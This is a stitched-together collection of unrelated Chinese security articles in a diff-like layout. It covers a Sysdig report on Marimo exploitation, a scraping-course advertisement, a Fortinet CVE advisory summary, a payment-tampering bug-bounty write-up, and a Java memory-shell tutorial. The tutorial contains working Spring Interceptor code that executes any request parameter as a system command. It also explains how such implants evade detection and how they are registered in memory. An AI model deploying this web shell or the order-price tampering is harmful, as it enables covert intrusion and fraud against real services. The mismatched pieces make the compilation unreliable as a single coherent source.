此案例值得关注之处在于，Marimo 是一个相对小众的工具，GitHub 星标约 2 万，远小于 Langflow 或 n8n 等平台。尽管如此，Sysdig 威胁研究团队仍观察到了快速利用，表明攻击者广泛监控安全公告，并能在数小时内将漏洞武器化，这很可能得益于 AI 的辅助。蜜罐系统证实了攻击者从获得访问权限到窃取凭据的速度之快，整个过程在几分钟内完成。
|
||||
|
||||
公告继续指出：“在公告发布后的前 12 小时内，我们记录到一个源 IP 对我们的蜜罐集群进行了漏洞利用活动。另有 125 个独立 IP 进行了侦察（端口扫描、HTTP 探测），但只有一个 IP 进入了实际利用 WebSocket 终端漏洞的阶段。”
|
||||
|
||||
攻击模式显示，攻击者是有条不紊的人工操作，而非自动化脚本。攻击者首先使用脚本化 PoC 验证漏洞，然后手动访问系统，专注于窃取 .env
|
||||
凭据和 SSH 密钥，并未部署持久化机制或恶意软件。在 90 分钟内出现的多个会话表明，攻击者在多个目标上进行了手动操作。
|
||||
|
||||
Sysdig 威胁研究团队认为，这反映了一个更广泛的趋势：漏洞利用现在发生在披露后的数小时内。即使是 Marimo 这样的小众软件也迅速成为目标，证明攻击者会监控所有安全公告，并可能利用 AI 快速构建漏洞利用程序。
|
||||
|
||||
对于防御者而言，这意味着：没有哪个软件“太小”而不受攻击；详细的公告可能反而会助长攻击者；基于 CVE 的检测可能会遗漏威胁；交互式终端则能实现更快、更深入的后渗透攻击。
|
||||
|
||||
该报告包含了针对这些攻击的危害指标（IoC）。
|
||||
|
||||
@@ -0,0 +1,203 @@
|
||||
# Claude Mythos找出27年前大漏洞，网安饭碗保不住了
|
||||
HACK之道 2026-04-13 00:02
|
||||
|
||||
这两年互联网行业都不容易，大厂降本增效、中小企业裁员，很多业务走外包都是常态，日子是真谈不上好过
|
||||
。
|
||||
|
||||
现在这种环境
|
||||
，
|
||||
一份稳定增收的
|
||||
副业已经是刚需了
|
||||
，
|
||||
毕竟多一份收入，就等于多一条退路
|
||||
。
|
||||
|
||||
今年所有的空闲时间都在做副业，周末接了几单爬虫私活，
|
||||
2天直接赚了5W
|
||||
。
|
||||
|
||||
|
||||
|
||||
现在的市场，数据就是黄金，
|
||||
AI训练
|
||||
、
|
||||
电商
|
||||
、
|
||||
教育
|
||||
都要数据，
|
||||
爬虫确实是波赚钱的风口。
|
||||
|
||||
用爬虫做副业技术门槛并不高，
|
||||
系统
|
||||
学三四个星期
|
||||
就能上手
|
||||
。
|
||||
|
||||
AI时代数据越来越值钱
|
||||
，
|
||||
就业形势
|
||||
再差
|
||||
，靠它都能稳赚几千
|
||||
。
|
||||
|
||||
01
|
||||
|
||||
|
||||
爬虫如何快速接单
|
||||
|
||||
如果你也想靠爬虫增收，
|
||||
但是担心技术过不过关、找不到靠谱接单渠道，这节
|
||||
《Python接单特训营》
|
||||
或许能帮到你：
|
||||
|
||||
本号粉丝有福利，扫码
|
||||
**免费报名**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
官方特训费
|
||||
399
|
||||
元
|
||||
，本号粉丝有福利，立即报名可
|
||||
免费学习
|
||||
！
|
||||
|
||||
|
||||
|
||||
这是一套
|
||||
专讲
|
||||
爬虫逆向破解
|
||||
的高阶技术实战课，将由国际大数据竞赛获奖大佬亲身指导。
|
||||
|
||||
带领大家进行
|
||||
一线大厂高阶技术体系
|
||||
+
|
||||
多重逆向解析项目实战
|
||||
+
|
||||
技术变现路径指导
|
||||
的综合速成训练！
|
||||
|
||||
02
|
||||
|
||||
|
||||
课程重点项目拆解
|
||||
|
||||
由
|
||||
**国际**
|
||||
**大数据竞赛金奖得主**
|
||||
领衔授课，深度合
|
||||
**AI大模型工程实践**
|
||||
与
|
||||
**爬虫逆向破解技术**
|
||||
，通过
|
||||
一线前沿技术体系拆解 + 多场景逆向项目实战，助你快速构建接单核心竞争
|
||||
！
|
||||
|
||||
**第一天：Python爬虫接单-1500的单案例实操**
|
||||
|
||||
1、详解Python商业接单渠道分析和接单流程
|
||||
|
||||
2、详解千+订单的实操变现全过程
|
||||
|
||||
3、详解爬虫技术解决接口分析和需求问题
|
||||
|
||||
4、案例分析-详解国内大型网站加密逆向及快速变现
|
||||
|
||||
5、案例分析-分享10个变现案例解决方案
|
||||
|
||||
6、详解代码混淆核心分析解决方式
|
||||
|
||||
7、详解JS逆向魔改加密算法还原
|
||||
|
||||
8、
|
||||
详解
|
||||
web3.0
|
||||
网站加密逆向
|
||||
与
|
||||
ob混淆
|
||||
|
||||
9、详解爬虫技术市场应用及接单技巧
|
||||
|
||||
|
||||
**第二天：Python爬虫接单-12k大单高效实操**
|
||||
|
||||
1、详解国内知名大型网站验证码案例拆解（实战）
|
||||
|
||||
2、详解10k大单步骤拆分在限时完成
|
||||
|
||||
3、详解12k大单JS逆向解决数据解密核心逻辑
|
||||
|
||||
4、详解AES与RSA加密处理解决方案
|
||||
|
||||
5、详解浏览器指纹的加密核心原理
|
||||
|
||||
6、详解Python技术的变现流程与方法及长远规划
|
||||
|
||||
7、详解代码混淆核心分析与解决方案
|
||||
|
||||
8、详解滑块轨迹的解密及代码逻
|
||||
|
||||
03
|
||||
|
||||
|
||||
课程福利
|
||||
|
||||
参与报名并学完课程的朋友
|
||||
，可以**免费**
|
||||
获得一套
|
||||
精心整理的
|
||||
**实战教程礼包**
|
||||
！
|
||||
|
||||
学完
|
||||
**速成干货课程**
|
||||
，要第一时间拿大厂高阶项目实战巩固，进一步提升技术，这套教程就非常适合练手！
|
||||
|
||||
|
||||
|
||||
|
||||
**部分资料截图：**
|
||||
|
||||
|
||||
|
||||
无论你是刚踏入技术领域的
|
||||
**新手**
|
||||
，还是希望突破职业瓶颈的资深开发者。
|
||||
|
||||
如今，数据已成为驱动业务增长的核心动力，而高效获取、解析复杂网页数据的能力，更是职场中极具竞争力的
|
||||
**加分项**
|
||||
。
|
||||
|
||||
立即扫码，即可
|
||||
**免费**
|
||||
预约
|
||||
|
||||
「
|
||||
爬虫
|
||||
技术原理 + 实战应用 +
|
||||
副业
|
||||
发展」
|
||||
|
||||
大佬直播在线答疑，开启高薪之路！
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
04
|
||||
|
||||
|
||||
小提示
|
||||
|
||||
**Q：加了小助理为什么没通过？**
|
||||
|
||||
A：
|
||||
一下子很多人报名，
|
||||
小助理的微信可能会出现延迟。暂时加不上的朋友们还请耐心等待，小助理会尽快处理。
|
||||
|
||||
**Q：真的是免费吗？**
|
||||
|
||||
A:本公众号粉丝仅需0元即可学习，真实有效。
|
||||
|
||||
@@ -0,0 +1,31 @@
|
||||
# Fortinet FortiClientEMS 访问控制不当漏洞CVE-2026-35616利用分析及历史漏洞总结
|
||||
原创 ZM
|
||||
ZM 暗镜 2026-04-12 22:00
|
||||
|
||||
|
||||
## 背景
|
||||
|
||||
4 月 4 日，Fortinet 发布了针对 CVE-2026-35616 的安全公告 (FG-IR-26-099)，这是一个影响 Fortinet FortiClientEMS 的严重不当访问控制漏洞。
|
||||
## 分析
|
||||
|
||||
CVE-2026-35616是一个影响 Fortinet FortiClientEMS 的严重访问控制漏洞。未经身份验证的远程攻击者可以利用此漏洞，通过精心构造的请求绕过 API 身份验证，从而执行任意代码。
|
||||
|
||||
截至本文发布时，Fortinet尚未公布漏洞利用的具体来源，但其安全公告证实该漏洞已被利用。公告中特别提到了Defused的Simo Kohonen和Nguyen Duc Anh，他们向Fortinet报告了该漏洞。4月4日，Defused在LinkedIn上发帖证实了他们观察到的该漏洞已被零日攻击。
|
||||
|
||||
**Fortinet设备的历史应用**
|
||||
|
||||
Fortinet漏洞历来是网络攻击者的常见目标，目前美国网络安全和基础设施安全局 (CISA) 的已知利用漏洞(KEV) 列表中共有24个Fortinet CVE，其中13个与勒索软件攻击活动有关。包括Salt Typhoon在内的多个威胁行为者都曾针对Fortinet漏洞发起攻击。
|
||||
|
||||
就在一周多前，Defused 报告称， CVE-2026-21643 （影响 FortiClientEMS 的 SQL 注入漏洞）已被实际利用。Fortinet 的安全公告目前也显示已发现该漏洞被利用，但截至 4 月 6 日，该漏洞尚未被添加到关键事件报告 (KEV) 中。
|
||||
|
||||
由于 Fortinet 设备一直是攻击者的热门目标，下表列出了近年来一些影响最大的 Fortinet 漏洞。
|
||||
<table><thead><tr style="box-sizing: border-box;background-color: rgb(240, 238, 238);"><th style="box-sizing: border-box;text-align: left;padding: 1em;color: rgb(255, 255, 255);background: rgb(4, 30, 66);border-width: 2px;font-weight: 600;"><strong style="box-sizing: border-box;font-weight: bolder;color: rgb(255, 255, 255);"><font dir="auto" style="box-sizing: border-box;vertical-align: inherit;"><font dir="auto" style="box-sizing: border-box;vertical-align: inherit;"><span leaf="">CVE</span></font></font></strong></th><th style="box-sizing: border-box;text-align: left;padding: 1em;color: rgb(255, 255, 255);background: rgb(4, 30, 66);border-width: 2px;font-weight: 600;"><strong style="box-sizing: border-box;font-weight: bolder;color: rgb(255, 255, 255);"><font dir="auto" style="box-sizing: border-box;vertical-align: inherit;"><font dir="auto" style="box-sizing: border-box;vertical-align: inherit;"><span leaf="">描述</span></font></font></strong></th><th style="box-sizing: border-box;text-align: left;padding: 1em;color: rgb(255, 255, 255);background: rgb(4, 30, 66);border-width: 2px;font-weight: 600;"><strong style="box-sizing: border-box;font-weight: bolder;color: rgb(255, 255, 255);"><font dir="auto" style="box-sizing: border-box;vertical-align: inherit;"><font dir="auto" style="box-sizing: border-box;vertical-align: inherit;"><span leaf="">已发布</span></font></font></strong></th><th style="box-sizing: border-box;text-align: left;padding: 1em;color: rgb(255, 255, 255);background: rgb(4, 30, 66);border-width: 2px;font-weight: 600;"><strong style="box-sizing: border-box;font-weight: bolder;color: rgb(255, 255, 255);"><font dir="auto" style="box-sizing: border-box;vertical-align: inherit;"><font dir="auto" style="box-sizing: border-box;vertical-align: inherit;"><span leaf="">Tenable博客</span></font></font></strong></th></tr></thead><tbody><tr style="box-sizing: border-box;background-color: rgb(240, 238, 238);"><td style="box-sizing: border-box;text-align: left;padding: 0.5em 1em;"><span style="box-sizing: border-box;"><u style="box-sizing: border-box;"><font dir="auto" style="box-sizing: border-box;vertical-align: inherit;"><font dir="auto" style="box-sizing: border-box;vertical-align: inherit;"><span leaf="">CVE-2025-64155</span></font></font></u></span></td><td style="box-sizing: border-box;text-align: left;padding: 0.5em 1em;"><span style="box-sizing: border-box;"><font dir="auto" style="box-sizing: border-box;vertical-align: inherit;"><font dir="auto" style="box-sizing: border-box;vertical-align: inherit;"><span leaf="">Fortinet FortiSIEM 命令注入漏洞</span></font></font></span></td><td style="box-sizing: border-box;text-align: left;padding: 0.5em 1em;"><span style="box-sizing: border-box;"><font dir="auto" style="box-sizing: border-box;vertical-align: inherit;"><font dir="auto" style="box-sizing: border-box;vertical-align: inherit;"><span leaf="">2026年1月</span></font></font></span></td><td style="box-sizing: border-box;text-align: left;padding: 0.5em 1em;"><span style="box-sizing: border-box;"><u style="box-sizing: border-box;"><font dir="auto" style="box-sizing: border-box;vertical-align: inherit;"><font dir="auto" style="box-sizing: border-box;vertical-align: inherit;"><span leaf="">CVE-2025-64155：Fortinet FortiSIEM 严重命令注入漏洞的利用代码已发布</span></font></font></u></span></td></tr><tr style="box-sizing: border-box;background-color: rgb(240, 238, 238);"><td style="box-sizing: border-box;text-align: left;padding: 0.5em 1em;"><span style="box-sizing: border-box;"><u style="box-sizing: border-box;"><font dir="auto" style="box-sizing: border-box;vertical-align: inherit;"><font dir="auto" style="box-sizing: border-box;vertical-align: inherit;"><span leaf="">CVE-2025-64446</span></font></font></u></span></td><td style="box-sizing: border-box;text-align: left;padding: 0.5em 1em;"><span style="box-sizing: border-box;"><font dir="auto" style="box-sizing: border-box;vertical-align: inherit;"><font dir="auto" style="box-sizing: border-box;vertical-align: inherit;"><span leaf="">Fortinet FortiWeb 路径遍历漏洞</span></font></font></span></td><td style="box-sizing: border-box;text-align: left;padding: 0.5em 1em;"><span style="box-sizing: border-box;"><font dir="auto" style="box-sizing: border-box;vertical-align: inherit;"><font dir="auto" style="box-sizing: border-box;vertical-align: inherit;"><span leaf="">2025年11月</span></font></font></span></td><td style="box-sizing: border-box;text-align: left;padding: 0.5em 1em;"><span style="box-sizing: border-box;"><u style="box-sizing: border-box;"><font dir="auto" style="box-sizing: border-box;vertical-align: inherit;"><font dir="auto" style="box-sizing: border-box;vertical-align: inherit;"><span leaf="">CVE-2025-64446：Fortinet FortiWeb 零日路径遍历漏洞已被利用</span></font></font></u></span></td></tr><tr style="box-sizing: border-box;background-color: rgb(240, 238, 238);"><td style="box-sizing: border-boxLine truncated
|
||||
|
||||
截至4月6日，GitHub上已发现一个公开的概念验证代码，但Tenable Research尚未验证该漏洞利用程序。鉴于Fortinet设备过去曾被利用，且多个漏洞的利用代码已被公开，我们预计随着更多漏洞利用程序的发布，此类漏洞的利用将会持续增加。
|
||||
## 解决方案
|
||||
|
||||
下表详细列出了受 CVE-2026-35616 影响的 Fortinet FortiClientEMS 设备版本和已修复版本：
|
||||
<table><thead><tr style="box-sizing: border-box;background-color: rgb(240, 238, 238);"><th style="box-sizing: border-box;text-align: left;padding: 1em;color: rgb(255, 255, 255);background: rgb(4, 30, 66);border-width: 2px;font-weight: 600;"><strong style="box-sizing: border-box;font-weight: bolder;color: rgb(255, 255, 255);"><font dir="auto" style="box-sizing: border-box;vertical-align: inherit;"><font dir="auto" style="box-sizing: border-box;vertical-align: inherit;"><span leaf="">产品版本</span></font></font></strong></th><th style="box-sizing: border-box;text-align: left;padding: 1em;color: rgb(255, 255, 255);background: rgb(4, 30, 66);border-width: 2px;font-weight: 600;"><strong style="box-sizing: border-box;font-weight: bolder;color: rgb(255, 255, 255);"><font dir="auto" style="box-sizing: border-box;vertical-align: inherit;"><font dir="auto" style="box-sizing: border-box;vertical-align: inherit;"><span leaf="">受影响范围</span></font></font></strong></th><th style="box-sizing: border-box;text-align: left;padding: 1em;color: rgb(255, 255, 255);background: rgb(4, 30, 66);border-width: 2px;font-weight: 600;"><strong style="box-sizing: border-box;font-weight: bolder;color: rgb(255, 255, 255);"><font dir="auto" style="box-sizing: border-box;vertical-align: inherit;"><font dir="auto" style="box-sizing: border-box;vertical-align: inherit;"><span leaf="">修复版本</span></font></font></strong></th></tr></thead><tbody><tr style="box-sizing: border-box;background-color: rgb(240, 238, 238);"><td style="box-sizing: border-box;text-align: left;padding: 0.5em 1em;"><span style="box-sizing: border-box;"><font dir="auto" style="box-sizing: border-box;vertical-align: inherit;"><font dir="auto" style="box-sizing: border-box;vertical-align: inherit;"><span leaf="">FortiClientEMS 7.2</span></font></font></span></td><td style="box-sizing: border-box;text-align: left;padding: 0.5em 1em;"><span style="box-sizing: border-box;"><font dir="auto" style="box-sizing: border-box;vertical-align: inherit;"><font dir="auto" style="box-sizing: border-box;vertical-align: inherit;"><span leaf="">未受影响</span></font></font></span></td><td style="box-sizing: border-box;text-align: left;padding: 0.5em 1em;"><span style="box-sizing: border-box;"><font dir="auto" style="box-sizing: border-box;vertical-align: inherit;"><font dir="auto" style="box-sizing: border-box;vertical-align: inherit;"><span leaf="">不适用</span></font></font></span></td></tr><tr style="box-sizing: border-box;background-color: rgb(240, 238, 238);"><td style="box-sizing: border-box;text-align: left;padding: 0.5em 1em;"><span style="box-sizing: border-box;"><font dir="auto" style="box-sizing: border-box;vertical-align: inherit;"><font dir="auto" style="box-sizing: border-box;vertical-align: inherit;"><span leaf="">FortiClientEMS 7.4</span></font></font></span></td><td style="box-sizing: border-box;text-align: left;padding: 0.5em 1em;"><span style="box-sizing: border-box;"><font dir="auto" style="box-sizing: border-box;vertical-align: inherit;"><font dir="auto" style="box-sizing: border-box;vertical-align: inherit;"><span leaf="">7.4.5 至 7.4.6</span></font></font></span></td><td style="box-sizing: border-box;text-align: left;padding: 0.5em 1em;"><span style="box-sizing: border-box;"><font dir="auto" style="box-sizing: border-box;vertical-align: inherit;"><font dir="auto" style="box-sizing: border-box;vertical-align: inherit;"><span leaf="">7.4.7 或更高版本</span></font></font></span></td></tr></tbody></table>
|
||||
截至4月6日，Fortinet已发布针对FortiClient EMS 7.4.5和7.4.6的热修复程序，以解决此漏洞。7.4.7版本尚未发布，但即将发布的版本也将修复此漏洞。在此版本发布之前，必须应用此热修复程序才能免受此漏洞的侵害。建议您查阅安全公告，因为Fortinet可能会对其进行更新。
|
||||
|
||||
|
||||
@@ -0,0 +1,45 @@
|
||||
# Src--支付漏洞实战
|
||||
赤弋安全团队 2026-04-13 01:31
|
||||
|
||||
**[免责声明]**
|
||||
|
||||
**请勿利用文章内的相关技术从事非法测试，由于传播、利用本公众号所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，本公众号及作者不为此承担任何责任，一旦造成后果请自行承担！**
|
||||
|
||||
|
||||
|
||||
当时拿到了感觉好难，不知道从哪里下手，到处点点，后面看到一个新上线没多久的商品，哎~众所周知，新上的出成果的几率大
|
||||
|
||||
|
||||
|
||||
看到这个嘛，必然尝试哈支付漏洞呗，商品大部分无非只能在挑选商品的时候和创建订单的时候修改数据。
|
||||
|
||||
|
||||
|
||||
然后就进行抓包修改金额，尝试修改为0.01，发现修改失败，然后修改0，后面发现修改是能修改，但是支付时显示异常。（失败过程就忽略了）
|
||||
|
||||
多种尝试下修改为1
|
||||
|
||||
|
||||
|
||||
再看看返回包，是修改成功的
|
||||
|
||||
|
||||
|
||||
放包后，直接跳到了支付页面
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
直接支付
|
||||
|
||||
|
||||
|
||||
成功拿下
|
||||
|
||||
过程比较简单，总而言之支付漏洞就是不断尝试，查看他的数据包，去找，有可能他需要改很多返回包才可以篡改数据
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,357 @@
|
||||
# java内存马之-Spring-Interceptor-手把手投喂内存马
|
||||
原创 三呼呼
|
||||
三呼呼 古月安全 2026-04-13 01:40
|
||||
|
||||
**导语**
|
||||
|
||||
在Spring MVC中，Interceptor和Controller（[java内存马之-Spring-Controller-手把手投喂内存马](https://mp.weixin.qq.com/s?__biz=Mzk5MDI5NDAyMw==&mid=2247485335&idx=1&sn=ba6d51ab7343f34670278f0ebe635b6a&scene=21#wechat_redirect)
|
||||
）都可以被用来实现内存马，但攻击者通常优先选择Interceptor。其可以在请求到达Controller之前和之后执行代码。它能够拦截多个Controller的请求。而Controller是处理特定请求的处理器，它只对映射到其上的请求路径起作用。这跟tomcat的中的内存马filter（过滤器）与servlet的执行过程几乎差不多，而Interceptor是spring中的拦截器。
|
||||
|
||||
单在spring中我们一般会优先选用Interceptor作为内存马，而不是controller，其主要原因如下：
|
||||
|
||||
隐蔽性对比：
|
||||
|
||||
Interceptor：由于Interceptor不直接与特定的URL映射关联，它通常不会在路由表中暴露，因此更难被扫描和检测。
|
||||
|
||||
Controller：Controller通常通过注解（如@RequestMapping）与特定URL映射关联，这些映射信息在Spring中是可查询的，因此更容易被安全扫描工具发现。
|
||||
|
||||
动态注册技术对比：
|
||||
|
||||
Interceptor：通过实现WebMvcConfigurer接口，可以动态添加Interceptor，而且可以全局生效。动态注册一个Interceptor相对简单，且不需要破坏现有的Controller结构。其通常不依赖具体的业务逻辑，可以独立于业务代码存在。
|
||||
|
||||
Controller：动态注册Controller需要修改Spring MVC的路由映射，更复杂，需要定义具体的处理逻辑，而且容易与现有路由冲突，引起异常。
|
||||
|
||||
触发阶段：
|
||||
|
||||
Interceptor：可以在请求处理的前后多个阶段进行控制，类似tomcat的filter，比如在预处理、后处理和完成后的处理，因此可以更灵活地操纵请求和响应。其在controller之前执行。
|
||||
|
||||
Controller：只能在映射的请求到达时执行，并且需要处理具体的业务逻辑。****
|
||||
|
||||
**小结**
|
||||
1. 优先选择Interceptor作为内存马主要是因为：
|
||||
|
||||
1. 隐蔽性优先 - 不新增路由端点，避免安全扫描
|
||||
|
||||
1. 控制范围广 - 单一注入点覆盖所有请求路径
|
||||
|
||||
1. 技术实现简洁 - 标准接口实现，注册机制稳定可靠
|
||||
|
||||
1. 系统影响小 - 异常情况下对业务影响可控
|
||||
|
||||
1. 检测难度高 - 在框架层面运作，传统安全设备难以识别
|
||||
|
||||
**什么是Interceptor**
|
||||
|
||||
Interceptor（拦截器） ：是 Spring MVC 框架中的一种核心组件，一种用于在请求处理过程中进行拦截和处理的机制，实现对 HTTP 请求的拦截和处理，从而实现对 Web 请求的精细化控制和统一处理。
|
||||
|
||||
这句话看起来似曾相识，是的，这个能力与java中的filter（[java内存马之-filter-手把手教你写内存马](https://mp.weixin.qq.com/s?__biz=Mzk5MDI5NDAyMw==&mid=2247484732&idx=1&sn=e1fa8ce654144f6c2ed9eeedda2c320c&scene=21#wechat_redirect)
|
||||
）非常相像，而spring中的controller与Java servlet也非常相似，再次证明了上一个文章说的spring其实是运行在tomcat之上的。Interceptor 与 Filter 高度相似，都专注于对“请求-响应”流程的干预和控制-对比如下：
|
||||
|
||||
Interceptor-VS-filter
|
||||
<table><tbody><tr><th><p><span leaf="">维度</span></p></th><th><p><span leaf="">Interceptor (Spring MVC)</span></p></th><th><p><span leaf="">Filter (Java Servlet)</span></p></th></tr><tr><td><p><strong><span leaf="">核心目标</span></strong></p></td><td><p><strong><span leaf="">干预请求处理过程</span></strong></p></td><td><p><strong><span leaf="">干预请求处理过程</span></strong></p></td></tr><tr><td><p><strong><span leaf="">执行时机</span></strong></p></td><td><p><span leaf="">在 Controller</span><strong><span leaf="">之前</span></strong><span leaf="">和</span><strong><span leaf="">之后</span></strong><span leaf="">执行</span></p></td><td><p><span leaf="">在 Servlet</span><strong><span leaf="">之前</span></strong><span leaf="">和</span><strong><span leaf="">之后</span></strong><span leaf="">执行（包裹了Interceptor）</span></p></td></tr><tr><td><p><strong><span leaf="">工作模式</span></strong></p></td><td><p><strong><span leaf="">“拦截”和“处理”</span></strong></p></td><td><p><strong><span leaf="">“过滤”和“处理”</span></strong></p></td></tr><tr><td><p><strong><span leaf="">控制能力</span></strong></p></td><td><p><span leaf="">可以阻止请求继续传递（</span><code><span leaf="">preHandle</span></code><span leaf="">返回</span><code><span leaf="">false</span></code><span leaf="">）</span></p></td><td><p><span leaf="">可以阻止请求继续传递（</span><code><span leaf="">FilterChain.doFilter</span></code><span leaf="">）</span></p></td></tr><tr style="height: 35px;"><td><p><strong><span leaf="">应用场景</span></strong></p></td><td><p><span leaf="">权限检查、日志记录、性能监控、通用数据处理</span></p></td><td><p><span leaf="">字符编码设置、安全过滤、压缩响应、XSS防御</span></p></td></tr></tbody></table>
|
||||
|
||||
**Interceptor实现**
|
||||
|
||||
实现一个有效的 Spring Interceptor 需要满足以下几个关键要求：
|
||||
|
||||
1.Interceptor类必须实现 HandlerInterceptor 接口，重写preHandle()方法。
|
||||
|
||||
2.需要通过一个配置类显式将Interceptor类注册到拦截器链中
|
||||
|
||||
3.配置类需要实现WebMvcConfigurer接口，重写addInterceptor()方法。
|
||||
|
||||
现在依次实现：
|
||||
|
||||
实现1.首先新建一个TestInterceptor.java类，代码如下：
|
||||
```
|
||||
package com.example.demo.demos.web;
|
||||
import org.springframework.web.servlet.HandlerInterceptor;
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
public class TestInterceptor implements HandlerInterceptor {
|
||||
@Override
|
||||
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
|
||||
System.out.println("Interceptor执行");
|
||||
return HandlerInterceptor.super.preHandle(request, response, handler);
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
实现2和3：新建一个配置类InterceptorConf.java，用于注册TestInterceptor。
|
||||
```
|
||||
package com.example.demo.demos.web;
|
||||
import org.springframework.context.annotation.Configuration;
|
||||
import org.springframework.web.servlet.config.annotation.EnableWebMvc;
|
||||
import org.springframework.web.servlet.config.annotation.InterceptorRegistry;
|
||||
import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;
|
||||
@Configuration
|
||||
@EnableWebMvc
|
||||
public class InterceptorConf implements WebMvcConfigurer {
|
||||
@Override
|
||||
public void addInterceptors(InterceptorRegistry registry) {
|
||||
registry.addInterceptor(new TestInterceptor()).addPathPatterns("/**");//设置所有页面经过过滤器
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
完成，启动看以下效果：因为设置所有页面addPathPatterns("/*")均通过过滤器，启动之后访问http://127.0.0.1:8080/a 任意页面即可看到过滤器执行了！
|
||||
|
||||
|
||||
|
||||
**Interceptor执行**
|
||||
|
||||
回到TestInterceptor.java类文件，看看其重写的方法各个参数：
|
||||
|
||||
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { 有requet，response，handler，都是熟悉的味道！
|
||||
|
||||
既然有requet，response那么首先想到的就是直接可以在这里通过requet的参数执行命令，通过response返回命令结果。
|
||||
|
||||
那么Interceptor就可以通过该方法达到对用户的数据进行校验，过滤的目的了---高度相似filter。
|
||||
|
||||
实验下，修改以下TestInterceptor代码如下：做一个简单的XSS拦截器
|
||||
```
|
||||
package com.example.demo.demos.web;
|
||||
import org.springframework.web.servlet.HandlerInterceptor;
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
public class TestInterceptor implements HandlerInterceptor {//实现接口
|
||||
@Override
|
||||
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
|
||||
String cmd = request.getParameter("cmd");//请求参数cmd
|
||||
if (cmd.contains("script")){//过滤条件
|
||||
response.getWriter().println("XSS attack!!!");
|
||||
return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
启动项目！随便访问任意页面，然后get请求cmd参数如果包含script，即拦截成功：
|
||||
|
||||
|
||||
|
||||
既然可以拦截请求，那么执行恶意代码也是可以的：再次修改TestInterceptor代码，执行命令：
|
||||
```
|
||||
package com.example.demo.demos.web;
|
||||
import org.springframework.web.servlet.HandlerInterceptor;
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
public class TestInterceptor implements HandlerInterceptor {//实现接口
|
||||
@Override
|
||||
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
|
||||
String cmd = request.getParameter("cmd");
|
||||
if (cmd !=null){
|
||||
Process process = Runtime.getRuntime().exec(cmd);//执行cmd命令
|
||||
// 读取输出
|
||||
java.io.InputStream input = process.getInputStream();//获取命令结果的输入流
|
||||
java.util.Scanner scanner = new java.util.Scanner(input).useDelimiter("\\A");//将该输入流放入Scanner读取内容
|
||||
String output = scanner.hasNext() ? scanner.next() : "命令执行完成，但无输出";//逐行获取执行结果
|
||||
scanner.close();
|
||||
// 等待进程完成
|
||||
process.waitFor();
|
||||
response.getWriter().println(output);//通过response返回输出结果至前端
|
||||
return true;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
启动，任意页面执行成功：
|
||||
|
||||
|
||||
|
||||
**注册Interceptor过程分析**
|
||||
|
||||
通过Interceptor确实可以执行系统命令，且逻辑也与filter一样，那么只需要像filter一样，通过动态的将其注册到应用中即可。在上面通过InterceptorConf.java文件将其注册为Interceptor，让其生效。接下来就是找到这个注册过程，然后在其中的某个属性中加入我们自己的Interceptor即可完成内存马注入！就不需要通过config文件的方式注册了。
|
||||
|
||||
同样通过调试的方式看看其加载流程，在TestInterceptor.java文件中的重写方法打上断点：
|
||||
|
||||
HandlerExecutionChain对象的applyPreHandle()方法调用了我们的重写的preHandle()方法，并且其有个属性interceptorList，里面的第一个元素就是我们自定义的TestInterceptor对象，通过for循环，逐一调用每个元素的applyPreHandle方法。
|
||||
|
||||
|
||||
|
||||
那么这里就很明显了，只要这个interceptorList里面有的HandlerInterceptor，到这里就会自动调用执行。只要想办法把值加入就可以了。这个interceptorList属性是一个List，并且存放HandlerInterceptor对象。
|
||||
|
||||
|
||||
|
||||
而其赋值是通过addInterceptor方法：
|
||||
```
|
||||
public void addInterceptor(HandlerInterceptor interceptor) {
|
||||
this.interceptorList.add(interceptor);
|
||||
}
|
||||
```
|
||||
|
||||
将其赋值这里打上断点，重新调试：果然是到了这里，是其他地方通过参数传过来的，看看这个参数是谁传过来的。
|
||||
|
||||
|
||||
|
||||
如图可以看到，通过这个**adaptedInterceptors变量**
|
||||
获取的TestInterceptor对象。
|
||||
|
||||
|
||||
|
||||
而**adaptedInterceptors变量又是AbstractHandlerMapping类的一个List属性**
|
||||
。
|
||||
|
||||
|
||||
|
||||
继续看他的赋值：他来自另外一个List interceptors属性：
|
||||
|
||||
|
||||
|
||||
**initInterceptors()方法**
|
||||
中从interceptors逐一取值，赋值给adaptedInterceptors。
|
||||
|
||||
|
||||
|
||||
而这个interceptors属性来自其赋值方法setInterceptors()：关键点就要知道谁调用了这个方法给他赋值：
|
||||
|
||||
|
||||
|
||||
**项目启动阶段赋值：**
|
||||
|
||||
**这里打上断点，重新启动调试：从初始化开始，再看看谁调用这个方法：来自WebMvcConfigurationSupport类的RequestMappingHandlerMapping()方法，而且这个方法的调用属于是服务器启动时就会执行的初始化赋值，将项目中的所有配置写入的一个阶段。**
|
||||
|
||||
|
||||
|
||||
而通过调用这个内层的方法getInterceptors(conversionService, resourceUrlProvider) ，完成了初始化，将项目中我们写的这个TestInterceptor存入interceptors中--**这里相当于启动项目就会有的初始值，这里的调用也是项目启动的时候就会执行的。**
|
||||
|
||||
|
||||
|
||||
并且将结果返回到 mapping.setInterceptors(getInterceptors(conversionService, resourceUrlProvider));相当于又执行了mapping.setInterceptors(interceptors)。
|
||||
|
||||
而这里的interceptors就如上图所示，主要通过registry的addInterceptor()方法添加过滤器。注册过程spring自动完成，这里不关注细节：如下图！得到就是添加好数据的interceptors，作为参数给mapping.setInterceptors(interceptors)
|
||||
|
||||
